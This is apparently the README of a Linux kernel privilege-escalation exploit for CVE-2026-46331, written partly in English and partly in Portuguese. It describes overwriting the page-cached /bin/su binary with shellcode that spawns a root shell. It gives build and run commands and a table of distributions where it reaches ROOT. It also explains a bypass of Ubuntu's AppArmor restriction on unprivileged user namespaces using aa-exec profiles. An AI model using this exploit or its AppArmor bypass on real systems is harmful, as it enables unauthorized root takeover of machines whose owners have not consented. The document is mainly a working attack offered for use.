
PACKET_EDIT_MEME.c (aka CVE-2026-46331): yet another page cache poisoning nightmare
net/sched act_pedit corrupção parcial de COW do cache de página (culpado 899ee91156e5, presente v5.18 .. corrigido v7.1-rc7). packet_edit_meme.c transforma isso em root local não privilegiado: um filho userns CAP_NET_ADMIN sobrescreve a entrada ELF em cache de /bin/su setuid-root com shellcode setgid(0)+setuid(0)+execve("/bin/sh").
make
./packet_edit_meme
./packet_edit_meme --ubuntu # AppArmor-gated Ubuntu: aa-exec bypass first
| Distro | Kernel | Flag | Result |
|---|---|---|---|
| RHEL 10.0 | 6.12.0-228.el10 | (none) | ROOT |
| Debian 13 trixie | 6.12.90+deb13.1 | (none) | ROOT |
| Ubuntu 24.04.4 | 6.17.0-22 | --ubuntu | ROOT |
| Ubuntu 26.04 | 7.0.0-14-generic | --ubuntu | FAIL |
RHEL / Debian: userns não privilegiado está aberto por padrão, nenhuma bandeira necessária. O RHEL não fornece cls_basic / em_meta, então o primitivo recai automaticamente para matchall.
O Ubuntu nega userns não privilegiado não confinado através de dois sysctls:
kernel.apparmor_restrict_unprivileged_userns # denies unconfined userns creation
kernel.apparmor_restrict_unprivileged_unconfined # forces unconfined change_profile to STACK,
# so an aa-exec permissive profile cannot
# shed the userns restriction
--ubuntu reexecuta via aa-exec -p {trinity,chrome,flatpak} (perfis que carregam uma regra userns,).
24.04.4 : userns=1, unconfined=0 -> aa-exec bypass WORKS
26.04 : userns=1, unconfined=1 -> aa-exec bypass CLOSED